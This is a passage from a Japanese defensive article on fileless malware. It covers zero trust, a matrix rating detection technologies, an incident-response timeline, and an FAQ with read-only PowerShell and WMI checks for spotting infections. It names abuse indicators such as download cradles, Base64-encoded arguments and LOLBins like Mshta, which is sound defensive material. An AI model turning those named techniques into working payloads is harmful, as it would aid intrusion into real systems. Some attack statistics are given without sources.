- 最小権限アクセスの徹底
- 継続的な検証(セッション中も監視)
ゼロトラストの実装要素:
- 多要素認証(MFA)必須
- コンテキストベース認証(場所、時間、デバイス状態)
- マイクロセグメンテーション
- EDR/XDRによる継続監視
- SDP(Software Defined Perimeter)またはZTNA
効果:
- ファイルレスマルウェアが侵入しても、認証を突破できない
- 横展開が極めて困難
- 異常な通信は即座に検知
表5: 検出技術の有効性マトリクス
| 検出技術 | 従来型マルウェア | ファイルレスマルウェア | Living off the Land | メモリ常駐型 | 実装難易度 |
|---|---|---|---|---|---|
| シグネチャベースAV | ◎ | ✗ | ✗ | ✗ | 低 |
| ヒューリスティック検出 | ◯ | △ | △ | △ | 低 |
| サンドボックス | ◯ | △ | △ | △ | 中 |
| EDR(振る舞い検知) | ◎ | ◎ | ◎ | ◯ | 中〜高 |
| メモリフォレンジック | ◯ | ◎ | ◎ | ◎ | 高 |
| ネットワーク監視(NDR) | ◯ | ◯ | ◯ | ◯ | 中 |
| アプリケーション制御 | ◎ | ◎ | ◎ | ◎ | 高 |
| 特権アクセス管理(PAM) | ◯ | ◯ | ◯ | ◯ | 中 |
| ゼロトラスト | ◯ | ◯ | ◎ | ◯ | 高 |
この表が示すように、ファイルレスマルウェアには、従来のアンチウイルスでは全く効果がなく、EDR、アプリケーション制御、ゼロトラストなどの次世代技術が必須です。
表6: インシデント対応手順表(ファイルレスマルウェア検知時)
| フェーズ | 対応時間 | 主要アクション | 担当 | チェック項目 |
|---|---|---|---|---|
| 検知 | 0分 | EDR/XDRアラート確認、初期トリアージ | SOC/セキュリティチーム | アラートの信頼性、影響範囲の推定 |
| 隔離 | 5分以内 | 感染端末のネットワーク隔離(EDR自動) | 自動/SOC | 隔離成功確認、業務影響評価 |
| 証拠保全 | 30分以内 | メモリダンプ取得、イベントログ保存、ネットワークトラフィックキャプチャ | インシデント対応チーム | データの完全性確認 |
| 初期分析 | 2時間以内 | メモリフォレンジック、PowerShellログ分析、WMIイベント確認 | フォレンジック担当 | 攻撃手法の特定、永続化メカニズムの確認 |
| 影響範囲調査 | 4時間以内 | 横展開の有無確認、他の感染端末検索、侵入経路特定 | インシデント対応チーム | 全端末スキャン、ネットワークログ分析 |
| 封じ込め | 8時間以内 | 同様の脆弱性を持つシステムの保護、認証情報の全変更 | IT運用チーム | 脆弱性パッチ適用、パスワードリセット完了 |
| 駆除 | 24時間以内 | マルウェアの完全削除、永続化メカニズムの除去、レジストリクリーニング | インシデント対応チーム | 再スキャンで脅威ゼロ確認 |
| 復旧 | 48時間以内 | システム再構築(クリーンイメージから)、データ復元、業務再開 | IT運用チーム | 機能確認、ユーザー受け入れテスト |
| 事後対応 | 1週間以内 | 根本原因分析、再発防止策の実装、インシデントレポート作成 | 全チーム | 経営層報告、規制当局への通知(必要時) |
| 改善 | 1ヶ月以内 | プレイブック更新、訓練実施、セキュリティ強化策の展開 | セキュリティチーム | 改善策の効果測定 |
よくある質問(FAQ)
- Q: ファイルレスマルウェアは本当にファイルを作らないのですか?
- A: 厳密には、初期段階で一時的にファイルを使用する場合があります。例えば、フィッシングメールの添付ファイル、ドロッパー(初期侵入用の小さなマルウェア)、一時ファイルなどです。しかし、これらは実行後すぐに削除され、主要な活動はメモリ上でのみ行われます。レジストリやWMIリポジトリにデータを保存することはありますが、実行可能ファイル(.exe、.dll等)は作成しません。このため、従来のファイルスキャンでは検出できず、メモリフォレンジックやEDRによる振る舞い検知が必要となります。また、「ファイルレス」という名称は若干の誤解を招きますが、より正確には「実行ファイルレス」または「ディスクレス」マルウェアと呼ぶべきです。
- Q: PowerShellを無効化すればファイルレスマルウェアは防げますか?
- A: PowerShellを完全に無効化することは現実的ではなく、また攻撃者は他の手法(WMI、Mshta、Regsvr32等)に移行するだけです。PowerShellは正規の管理ツールとして多くのシステム管理タスクで使用されており、無効化すると業務に支障が出ます。推奨される対策は、①Constrained Language Mode(制約付き言語モード)の有効化、②スクリプト署名の強制(AllSigned実行ポリシー)、③詳細なログ記録(Script Block Logging、Transcription)の有効化、④実行ポリシーをAllSignedまたはRestrictedに設定、⑤PowerShell v2(古いバージョン)の削除、です。これらの制限により、攻撃者によるPowerShellの悪用を困難にしつつ、正規の管理業務は継続可能です。さらに、EDRでPowerShellの実行を監視し、不審なパターン(Base64エンコード、ダウンロードクレードル等)を検知することが重要です。
- Q: EDRとアンチウイルスの違いは何ですか?
- A: アンチウイルス(AV)は既知の脅威をシグネチャ(パターン)で検出・ブロックする予防重視のツールです。一方、EDRは振る舞いを継続的に監視し、異常を検知・調査・対応する検知と対応重視のソリューションです。EDRの主な特徴:①プロセスの親子関係を追跡し、異常な実行フローを検出、②ネットワーク通信を記録し、C2サーバーとの通信を検知、③ファイル操作、レジストリ変更、メモリ注入を監視、④タイムライン分析で攻撃の全体像を把握、⑤リモートから感染端末を隔離・調査・駆除、が可能です。アンチウイルスは「ドアの鍵」、EDRは「監視カメラと警備員」に例えられます。両者は補完関係にあり、理想的にはAVで既知の脅威をブロックし、それを突破した未知の脅威をEDRで検知・対応します。ファイルレスマルウェアのように、AVでは全く検出できない脅威に対しては、EDRが必須となります。
- Q: 中小企業でもEDR導入は必要ですか?
- A: ファイルレスマルウェアやランサムウェアの脅威を考慮すれば、企業規模に関わらずEDR導入が強く推奨されます。ただし、中小企業では運用負荷(24/365監視)とコストが大きな課題となります。そのため、以下の選択肢を検討してください。①Microsoft Defender for Business:中小企業向けの簡易版EDR、Microsoft 365 Business Premiumに含まれ、比較的低コスト、②MDR(Managed Detection and Response)サービス:EDRベンダーやMSSPに監視・対応を完全アウトソース、専門家による24/365対応が得られる、③Windows Defenderの高度な機能を有効化:無料だが、完全なEDRではない、最低限の対策として、Attack Surface Reduction、Controlled Folder Access、クラウド配信の保護を有効化。完璧なEDRでなくても、従来型のアンチウイルスのみよりは格段に防御力が向上します。予算に応じて、できる範囲から対策を始めることが重要です。
- Q: ファイルレスマルウェアの感染を見つける方法は?
- A: 手動での発見は非常に困難ですが、以下の兆候を確認できます。①異常なPowerShell実行:タスクマネージャーまたは`Get-Process powershell`で確認、Base64エンコードされた引数や、親プロセスが不審(Word.exe、Excel.exe等)、②不審なWMIイベント:`Get-WmiObject -Namespace root\Subscription -Class __EventFilter`で永続化メカニズムを確認、③メモリ使用量の異常:特定のプロセス(svchost.exe、explorer.exe等)のメモリ使用量が異常に大きい、④ネットワーク通信の増加:通常使用しないプロセスが外部と通信、⑤イベントログの監視:イベントID 4688(プロセス作成)、4689(プロセス終了)、PowerShellログID 4104(スクリプトブロック)を確認、⑥svchostの親プロセス確認:正規のsvchost.exeの親は必ずservices.exe、それ以外は不審。ただし、これらを手動で確認し続けるのは現実的ではないため、EDRやSIEM(Security Information and Event Management)による自動検知と、定期的なメモリダンプ解析(Volatility等のツール使用)が実用的な方法です。
関連情報へのリンク
ファイルレスマルウェア対策は、マルウェア感染対策全体の重要な一部です。以下の関連記事も合わせてご確認ください:
- マルウェア感染の脅威と攻撃手法
- EDR/MDR導入ガイド
- エンドポイントセキュリティの最新動向
- Living off the Land攻撃の手法と検知
- 権限昇格と横展開の防御
- ゼロトラストネットワークの実装
- 認証情報窃取(Credential Dumping)への対策
- APT(標的型攻撃)の脅威
ファイルレスマルウェアは、従来のセキュリティ対策の限界を露呈させる高度な脅威です。しかし、EDR/XDR、アプリケーション制御、ゼロトラストアーキテクチャなどの次世代技術を適切に実装することで、効果的に対抗できます。
まとめ
ファイルレスマルウェアは、ディスクにファイルを作らず、メモリ上でのみ動作し、PowerShellやWMIなど正規のWindowsツールを悪用する高度な脅威です。2024年の調査では、標的型攻撃の75%以上がファイルレス技術を使用しており、平均滞留期間は200日を超えています。
従来のアンチウイルスでは全く検出できません。 シグネチャベースの検出は、スキャンすべき実行ファイルが存在しないため無効です。
効果的な対策:
-
EDR/XDRの導入(最優先)
- 振る舞い検知によるファイルレスマルウェアの検出
- メモリフォレンジック機能
- 機械学習による未知の脅威検出
-
PowerShell実行制御
- Constrained Language Mode有効化
- スクリプト署名の強制
- 詳細なログ記録
-
アプリケーション制御
- AppLocker/WDACによるホワイトリスト方式
- 未承認のスクリプト・アプリの実行禁止
-
権限管理の厳格化
- 最小権限の原則
- 特権アクセス管理(PAM)
- JIT/JEA
-
ゼロトラストアーキテクチャ
- マイクロセグメンテーション
- 継続的な認証・認可
- 横展開の防止
ファイルレスマルウェアは「見えない脅威」ですが、適切な技術と戦略により、検出・防御が可能です。従来のセキュリティモデルから、次世代のゼロトラストモデルへの移行が、企業の生き残りを左右します。
重要なお知らせ
本記事は技術的な情報提供を目的としており、個別の環境に対する助言ではありません。ファイルレスマルウェアの感染が疑われる場合、または実際に被害が発生した場合は、直ちに以下の対応を取ってください。
- 感染が疑われる端末をネットワークから隔離
- メモリダンプを取得(証拠保全)
- EDRまたはメモリフォレンジックツール(Volatility、Rekall等)で調査
- 専門のインシデント対応チーム、またはフォレンジック企業に相談
- 法執行機関(警察サイバー犯罪相談窓口)への通報を検討
EDRの導入・運用には専門的な知識が必要です。自社にセキュリティ人材がいない場合は、MDRサービスの利用、またはセキュリティコンサルタントへの相談を強く推奨します。記載内容は2025年2月時点の情報であり、攻撃手法は日々進化しています。常に最新の脅威インテリジェンスを収集し、対策を更新し続けることが重要です。
更新履歴
- 初稿公開